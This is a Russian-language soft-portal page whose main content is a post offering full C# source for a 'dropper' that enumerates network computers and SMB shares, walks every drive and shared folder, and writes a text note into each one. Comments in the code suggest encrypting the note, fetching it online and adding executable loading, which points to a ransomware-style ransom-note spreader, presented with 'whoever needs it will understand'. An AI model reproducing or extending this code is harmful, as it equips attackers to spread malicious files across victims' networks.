Отказ от ответственности!
Отказ от ответственности
Сайт не несёт ответственности за содержание материалов. Все материалы сайта найдены в сети интернет. Если вы являетесь правообладателям и хотите убрать свой материал с нашего сайта, то напишите администрации. Напомним, что ваша собственность находилась в публичном доступе и только поэтому была опубликована на нашем сайте. Сайт некоммерческий, и мы не можем проверить все публикации пользователей. Используете материалы сайта на свой страх и риск, администрация за возможные последствия ответственности не несет.
Сайт не распространяет никаких программных продуктов, а содержит только ссылки на ПО, доступное в сети интернет.
Просмотр новых публикаций
Последние сообщения с форума
Джокер2 - Безумие на двоих (2024) Автор темы: kishnin81, Раздел: Кинообзор онлайн | 0 Ответов Сб 14:32 | kishnin81 | |
Дэдпул и Росомаха (2024) Автор темы: kishnin81, Раздел: Кинообзор онлайн | 0 Ответов Вт 15:59 | kishnin81 | |
Бесплатные VPS/VPDS Автор темы: kishnin81, Раздел: Прочие статьи | 7 Ответов Пн 10:11 | safonovs3f | |
Как узнать имя пользователя на удаленном компьютере Автор темы: kishnin81, Раздел: Прочие статьи | 1 Ответов Пн 10:10 | safonovs3f | |
ВТБ халявные акции за обучение Автор темы: kishnin81, Раздел: Прочие статьи | 3 Ответов Пн 10:10 | safonovs3f |
Внимание! Если Вы видите рекламму на нашем ресурсе, установите для вашего браузера расширение Adblock Plus | AdBlocker Ultimate | Блокировщик рекламы |
Мы ВКонтакте
Сообщество вконтакте
Главная страница сайта
- Загрузка... News Portal
- Загрузка... Soft Portal
- ⬦ Бесплатно прочее полезно
- ⬦ Комп для чайника
- ⬦ Халява
- Новости сайта
- Программы для ПК
- Программирование
- Статьи, заработок, Wi-Fi, прочее
- Игры для ПК, android, прочее
- Флэш игры, программы, прочее
- Книги java, txt, fb2, аудио, другое
- Всё для Photoshop и After Effects
- Веб мастеру
- Продвижение ВКонтакте
- Продвижение в других соц.сетях
- Различный софт
- F.A.Q / ЧАВО?
Статистика
Краткая статистика сайта.
Комментарии
3 последних комментариев.
Годно! Спасибо за данную тему, интересно))
Поиск по сайту
Поиск по всему сайту, форуму и тегам!
Поиск по тегам
Облако популярных тегов.
C# Дроппер файла по всем папкам
Код элементарен и проверен временем, надежный как швейцарские часики.
Зачем и для чего это обьяснять не буду, кому надо тот поймет, для использования в своих образовательных целях
Код C#:
using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Threading; using System.Threading.Tasks; namespace fo { static class Program { [Flags] public enum ShareType //c { Disk = 0, Printer = 1, Device = 2, IPC = 3, Special = -2147483648 } [DllImport("user32.dll", CharSet = CharSet.Auto)] private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni); private static string Note2 = "ТЕКСТ"; // можно передавать в зашифрованном виде aesinmemory("ТЕКСТ"); либо получать текст через get запрос для обновления в онлайне private static string TXTNAME = "ИМЯ TXT"; // аналогично [STAThread] public static void Main() { Letsgooo(); } private static List<string> GetLocations() { List<string> list = new List<string>(); string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Network Shortcuts"); try { list.AddRange(Directory.GetDirectories(path)); } catch (Exception ex) { Console.WriteLine(ex.Message); } try { NetworkBrowser networkBrowser = new NetworkBrowser(); foreach (object obj in networkBrowser.getNetworkComputers()) { string server = (string)obj; NetworkBrowser.ShareCollection shares = NetworkBrowser.ShareCollection.GetShares(server); bool flag = shares == null; if (!flag) { foreach (object obj2 in shares) { NetworkBrowser.Share share = (NetworkBrowser.Share)obj2; bool isFileSystem = share.IsFileSystem; if (isFileSystem) { try { DirectoryInfo root = share.Root; DirectoryInfo[] directories = root.GetDirectories(); for (int i = 0; i < directories.Length; i++) { list.Add(directories[i].FullName); } } catch (Exception) { } } } } } } catch (Exception ex) { Console.WriteLine(ex.Message); } List<string> list2 = new List<string>(); list2.AddRange(Directory.GetLogicalDrives()); list2.Sort(); list2.Reverse(); list.AddRange(list2); return list; } private static void MakeNote(string path) { try { string path3 = Path.Combine(path, TXTNAME + ".txt"); File.WriteAllText(path3, Note2); } catch (Exception ex) { Console.WriteLine(ex.Message); } } public static void Letsgooo() { Note2 = Note2.Replace("\n", Environment.NewLine); GC.Collect(); // собираем мусор и освобождаем память foreach (string item in GetLocations()) { try { SemaphoreSlim semaphoreSlim = new SemaphoreSlim(10); List<Task> list2 = new List<Task>(); List<string> list3 = new List<string>(); list3.Add(item); for (; ; ) { try { if (list3.Count >= 1) { if (list3[0].StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.Windows)) || list3[0].StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles))) { list3.RemoveAt(0); } else { try { string[] files = Directory.GetFiles(list3[0]); if (files.Length >= 1) { for (int i = 0; i < files.Length; i++) { try { semaphoreSlim.Wait(); string path = files[i]; list2.Add(Task.Run(delegate () { Console.WriteLine($"{list3[0]}"); // можно убрать чтобы не мешало смотреть ошибки semaphoreSlim.Release(); })); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } } catch (Exception ex) { Console.WriteLine(ex.Message); } MakeNote(list3[0]); // команда для ***** текстовика по всем каталогам, можно приделать подгрузку exe list3.AddRange(Directory.GetDirectories(list3[0])); list3.RemoveAt(0); } continue; } } catch (Exception) { list3.RemoveAt(0); continue; } break; } Task.WaitAll(list2.ToArray()); // ждем завершения запущенной задачи } catch (Exception ex) { Console.WriteLine(ex.Message); } } GC.Collect(); // собираем мусор и освобождаем память } public sealed class NetworkBrowser { [SuppressUnmanagedCodeSecurity] [DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true)] public static extern int NetServerEnum(string ServerNane, int dwLevel, ref IntPtr pBuf, int dwPrefMaxLen, out int dwEntriesRead, out int dwTotalEntries, int dwServerType, string domain, out int dwResumeHandle); [SuppressUnmanagedCodeSecurity] [DllImport("Netapi32", SetLastError = true)] public static extern int NetApiBufferFree(IntPtr pBuf); public ArrayList getNetworkComputers() { ArrayList arrayList = new ArrayList(); int num = 1; int num2 = 2; IntPtr zero = IntPtr.Zero; IntPtr ptr = IntPtr.Zero; int num3 = 0; int num4 = 0; int num5 = 0; int num6 = Marshal.SizeOf(typeof(NetworkBrowser._SERVER_INFO_100)); try { int num7 = NetworkBrowser.NetServerEnum(null, 100, ref zero, -1, out num3, out num4, num | num2, null, out num5); bool flag = num7 == 0; if (flag) { for (int i = 0; i < num4; i++) { ptr = new IntPtr((int)zero + i * num6); NetworkBrowser._SERVER_INFO_100 server_INFO_ = (NetworkBrowser._SERVER_INFO_100)Marshal.PtrToStructure(ptr, typeof(NetworkBrowser._SERVER_INFO_100)); arrayList.Add(server_INFO_.sv100_name); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { NetworkBrowser.NetApiBufferFree(zero); } return arrayList; } public struct _SERVER_INFO_100 { internal int sv100_platform_id; [MarshalAs(UnmanagedType.LPWStr)] internal string sv100_name; } public class Share { public Share(string server, string netName, string path, ShareType shareType, string remark) { bool flag = ShareType.Special == shareType && "IPC$" == netName; if (flag) { shareType |= ShareType.IPC; } this._server = server; this._netName = netName; this._path = path; this._shareType = shareType; this._remark = remark; } public string Server { get { return this._server; } } public string NetName { get { return this._netName; } } public string Path { get { return this._path; } } public ShareType ShareType { get { return this._shareType; } } public string Remark { get { return this._remark; } } public bool IsFileSystem { get { bool flag = (this._shareType & ShareType.Device) > ShareType.Disk; bool result; if (flag) { result = false; } else { bool flag2 = (this._shareType & ShareType.IPC) > ShareType.Disk; if (flag2) { result = false; } else { bool flag3 = (this._shareType & ShareType.Printer) > ShareType.Disk; if (flag3) { result = false; } else { bool flag4 = (this._shareType & ShareType.Special) == ShareType.Disk; if (flag4) { result = true; } else { bool flag5 = ShareType.Special == this._shareType && this._netName != null && this._netName.Length != 0; result = flag5; } } } } return result; } } public DirectoryInfo Root { get { bool isFileSystem = this.IsFileSystem; DirectoryInfo result; if (isFileSystem) { bool flag = this._server == null || this._server.Length == 0; if (flag) { bool flag2 = this._path == null || this._path.Length == 0; if (flag2) { result = new DirectoryInfo(this.ToString()); } else { result = new DirectoryInfo(this._path); } } else { result = new DirectoryInfo(this.ToString()); } } else { result = null; } return result; } } public override string ToString() { bool flag = this._server == null || this._server.Length == 0; string result; if (flag) { result = string.Format("\\\\{0}\\{1}", Environment.MachineName, this._netName); } else { result = string.Format("\\\\{0}\\{1}", this._server, this._netName); } return result; } public bool MatchesPath(string path) { bool flag = !this.IsFileSystem; bool result; if (flag) { result = false; } else { bool flag2 = path == null || path.Length == 0; result = (flag2 || path.ToLower().StartsWith(this._path.ToLower())); } return result; } private string _server; private string _netName; private string _path; private ShareType _shareType; private string _remark; } public class ShareCollection : ReadOnlyCollectionBase { protected static bool IsNT { get { return PlatformID.Win32NT == Environment.OSVersion.Platform; } } protected static bool IsW2KUp { get { OperatingSystem osversion = Environment.OSVersion; return PlatformID.Win32NT == osversion.Platform && osversion.Version.Major >= 5; } } [DllImport("mpr", CharSet = CharSet.Auto)] protected static extern int WNetGetUniversalName(string lpLocalPath, int dwInfoLevel, ref ShareCollection.UNIVERSAL_NAME_INFO lpBuffer, ref int lpBufferSize); [DllImport("mpr", CharSet = CharSet.Auto)] protected static extern int WNetGetUniversalName(string lpLocalPath, int dwInfoLevel, IntPtr lpBuffer, ref int lpBufferSize); [DllImport("netapi32", CharSet = CharSet.Unicode)] protected static extern int NetShareEnum(string lpServerName, int dwLevel, out IntPtr lpBuffer, int dwPrefMaxLen, out int entriesRead, out int totalEntries, ref int hResume); [DllImport("svrapi", CharSet = CharSet.Ansi)] protected static extern int NetShareEnum([MarshalAs(UnmanagedType.LPTStr)] string lpServerName, int dwLevel, IntPtr lpBuffer, ushort cbBuffer, out ushort entriesRead, out ushort totalEntries); [DllImport("netapi32")] protected static extern int NetApiBufferFree(IntPtr lpBuffer); protected static void EnumerateSharesNT(string server, ShareCollection shares) { int num = 2; int num2 = 0; IntPtr zero = IntPtr.Zero; try { int num4; int num5; int num3 = ShareCollection.NetShareEnum(server, num, out zero, -1, out num4, out num5, ref num2); bool flag = 5 == num3; if (flag) { num = 1; num3 = ShareCollection.NetShareEnum(server, num, out zero, -1, out num4, out num5, ref num2); } bool flag2 = num3 == 0 && num4 > 0; if (flag2) { Type type = (2 == num) ? typeof(ShareCollection.SHARE_INFO_2) : typeof(ShareCollection.SHARE_INFO_1); int num6 = Marshal.SizeOf(type); int i = 0; int num7 = zero.ToInt32(); while (i < num4) { IntPtr ptr = new IntPtr(num7); bool flag3 = 1 == num; if (flag3) { ShareCollection.SHARE_INFO_1 share_INFO_ = (ShareCollection.SHARE_INFO_1)Marshal.PtrToStructure(ptr, type); shares.Add(share_INFO_.NetName, string.Empty, share_INFO_.ShareType, share_INFO_.Remark); } else { ShareCollection.SHARE_INFO_2 share_INFO_2 = (ShareCollection.SHARE_INFO_2)Marshal.PtrToStructure(ptr, type); shares.Add(share_INFO_2.NetName, share_INFO_2.Path, share_INFO_2.ShareType, share_INFO_2.Remark); } i++; num7 += num6; } } } finally { bool flag4 = IntPtr.Zero != zero; if (flag4) { ShareCollection.NetApiBufferFree(zero); } } } protected static void EnumerateShares9x(string server, ShareCollection shares) { int num = 50; Type typeFromHandle = typeof(ShareCollection.SHARE_INFO_50); int num2 = Marshal.SizeOf(typeFromHandle); ushort num3 = (ushort)(20 * num2); IntPtr intPtr = Marshal.AllocHGlobal((int)num3); try { ushort num5; ushort num6; int num4 = ShareCollection.NetShareEnum(server, num, intPtr, num3, out num5, out num6); bool flag = 124 == num4; if (flag) { num = 1; typeFromHandle = typeof(ShareCollection.SHARE_INFO_1_9x); num2 = Marshal.SizeOf(typeFromHandle); num4 = ShareCollection.NetShareEnum(server, num, intPtr, num3, out num5, out num6); } bool flag2 = num4 == 0 || 234 == num4; if (flag2) { int i = 0; int num7 = intPtr.ToInt32(); while (i < (int)num5) { IntPtr ptr = new IntPtr(num7); bool flag3 = 1 == num; if (flag3) { ShareCollection.SHARE_INFO_1_9x share_INFO_1_9x = (ShareCollection.SHARE_INFO_1_9x)Marshal.PtrToStructure(ptr, typeFromHandle); shares.Add(share_INFO_1_9x.NetName, string.Empty, share_INFO_1_9x.ShareType, share_INFO_1_9x.Remark); } else { ShareCollection.SHARE_INFO_50 share_INFO_ = (ShareCollection.SHARE_INFO_50)Marshal.PtrToStructure(ptr, typeFromHandle); shares.Add(share_INFO_.NetName, share_INFO_.Path, share_INFO_.ShareType, share_INFO_.Remark); } i++; num7 += num2; } } else { Console.WriteLine(num4); } } finally { Marshal.FreeHGlobal(intPtr); } } protected static void EnumerateShares(string server, ShareCollection shares) { bool flag = server != null && server.Length != 0 && !ShareCollection.IsW2KUp; if (flag) { server = server.ToUpper(); bool flag2 = '\\' != server[0] || '\\' != server[1]; if (flag2) { server = "\\\\" + server; } } bool isNT = ShareCollection.IsNT; if (isNT) { ShareCollection.EnumerateSharesNT(server, shares); } else { ShareCollection.EnumerateShares9x(server, shares); } } public static bool IsValidFilePath(string fileName) { bool flag = fileName == null || fileName.Length == 0; bool result; if (flag) { result = false; } else { char c = char.ToUpper(fileName[0]); bool flag2 = 'A' > c || c > 'Z'; if (flag2) { result = false; } else { bool flag3 = Path.VolumeSeparatorChar != fileName[1]; if (flag3) { result = false; } else { bool flag4 = Path.DirectorySeparatorChar != fileName[2]; result = !flag4; } } } return result; } public static string PathToUnc(string fileName) { bool flag = fileName == null || fileName.Length == 0; string result; if (flag) { result = string.Empty; } else { fileName = Path.GetFullPath(fileName); bool flag2 = !ShareCollection.IsValidFilePath(fileName); if (flag2) { result = fileName; } else { int num = 0; ShareCollection.UNIVERSAL_NAME_INFO universal_NAME_INFO = default(ShareCollection.UNIVERSAL_NAME_INFO); int cb = Marshal.SizeOf(universal_NAME_INFO); num = ShareCollection.WNetGetUniversalName(fileName, 1, ref universal_NAME_INFO, ref cb); bool flag3 = 234 == num; if (flag3) { IntPtr intPtr = Marshal.AllocHGlobal(cb); try { num = ShareCollection.WNetGetUniversalName(fileName, 1, intPtr, ref cb); bool flag4 = num == 0; if (flag4) { universal_NAME_INFO = (ShareCollection.UNIVERSAL_NAME_INFO)Marshal.PtrToStructure(intPtr, typeof(ShareCollection.UNIVERSAL_NAME_INFO)); } } finally { Marshal.FreeHGlobal(intPtr); } } int num2 = num; if (num2 != 0) { if (num2 != 2250) { Console.WriteLine("Unknown return value: {0}", num); result = string.Empty; } else { ShareCollection localShares = ShareCollection.LocalShares; bool flag5 = localShares != null; if (flag5) { Share share = localShares[fileName]; bool flag6 = share != null; if (flag6) { string path = share.Path; bool flag7 = path != null && path.Length != 0; if (flag7) { int num3 = path.Length; bool flag8 = Path.DirectorySeparatorChar != path[path.Length - 1]; if (flag8) { num3++; } bool flag9 = num3 < fileName.Length; if (flag9) { fileName = fileName.Substring(num3); } else { fileName = string.Empty; } fileName = Path.Combine(share.ToString(), fileName); } } } result = fileName; } } else { result = universal_NAME_INFO.lpUniversalName; } } } return result; } public static Share PathToShare(string fileName) { bool flag = fileName == null || fileName.Length == 0; Share result; if (flag) { result = null; } else { fileName = Path.GetFullPath(fileName); bool flag2 = !ShareCollection.IsValidFilePath(fileName); if (flag2) { result = null; } else { ShareCollection localShares = ShareCollection.LocalShares; bool flag3 = localShares == null; if (flag3) { result = null; } else { result = localShares[fileName]; } } } return result; } public static ShareCollection LocalShares { get { bool flag = ShareCollection._local == null; if (flag) { ShareCollection._local = new ShareCollection(); } return ShareCollection._local; } } public static ShareCollection GetShares(string server) { return new ShareCollection(server); } public ShareCollection() { this._server = string.Empty; ShareCollection.EnumerateShares(this._server, this); } public ShareCollection(string server) { this._server = server; ShareCollection.EnumerateShares(this._server, this); } protected void Add(Share share) { base.InnerList.Add(share); } protected void Add(string netName, string path, ShareType shareType, string remark) { base.InnerList.Add(new Share(this._server, netName, path, shareType, remark)); } public string Server { get { return this._server; } } public Share this[int index] { get { return (Share)base.InnerList[index]; } } public Share this[string path] { get { bool flag = path == null || path.Length == 0; Share result; if (flag) { result = null; } else { path = Path.GetFullPath(path); bool flag2 = !ShareCollection.IsValidFilePath(path); if (flag2) { result = null; } else { Share share = null; for (int i = 0; i < base.InnerList.Count; i++) { Share share2 = (Share)base.InnerList[i]; bool flag3 = share2.IsFileSystem && share2.MatchesPath(path); if (flag3) { bool flag4 = share == null; if (flag4) { share = share2; } else { bool flag5 = share.Path.Length < share2.Path.Length; if (flag5) { bool flag6 = share2.ShareType == ShareType.Disk || share.ShareType > ShareType.Disk; if (flag6) { share = share2; } } } } } result = share; } } return result; } } public void CopyTo(Share[] array, int index) { base.InnerList.CopyTo(array, index); } protected const int MAX_PATH = 260; protected const int NO_ERROR = 0; protected const int ERROR_ACCESS_DENIED = 5; protected const int ERROR_WRONG_LEVEL = 124; protected const int ERROR_MORE_DATA = 234; protected const int ERROR_NOT_CONNECTED = 2250; protected const int UNIVERSAL_NAME_INFO_LEVEL = 1; protected const int MAX_SI50_ENTRIES = 20; private static ShareCollection _local = null; private string _server; [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] protected struct UNIVERSAL_NAME_INFO { [MarshalAs(UnmanagedType.LPTStr)] public string lpUniversalName; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] protected struct SHARE_INFO_2 { [MarshalAs(UnmanagedType.LPWStr)] public string NetName; public ShareType ShareType; [MarshalAs(UnmanagedType.LPWStr)] public string Remark; public int Permissions; public int MaxUsers; public int CurrentUsers; [MarshalAs(UnmanagedType.LPWStr)] public string Path; [MarshalAs(UnmanagedType.LPWStr)] public string Password; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] protected struct SHARE_INFO_1 { [MarshalAs(UnmanagedType.LPWStr)] public string NetName; public ShareType ShareType; [MarshalAs(UnmanagedType.LPWStr)] public string Remark; } // Token: 0x02000014 RID: 20 [StructLayout(LayoutKind.Sequential, Pack = 1)] protected struct SHARE_INFO_50 { public ShareType ShareType { get { return (ShareType)(this.bShareType & 127); } } [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 13)] public string NetName; public byte bShareType; public ushort Flags; [MarshalAs(UnmanagedType.LPTStr)] public string Remark; [MarshalAs(UnmanagedType.LPTStr)] public string Path; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 9)] public string PasswordRW; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 9)] public string PasswordRO; } [StructLayout(LayoutKind.Sequential, Pack = 1)] protected struct SHARE_INFO_1_9x { public ShareType ShareType { get { return (ShareType)(this.bShareType & 32767); } } [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 13)] public string NetName; public byte Padding; public ushort bShareType; [MarshalAs(UnmanagedType.LPTStr)] public string Remark; } } } } }
Информация: Посетители, находящиеся в группе Гости, не могут скачивать файлы с данного сайта. |
Пароль к архивам: ComInet
Может быть интересно
Комментариев:
0
Авторизация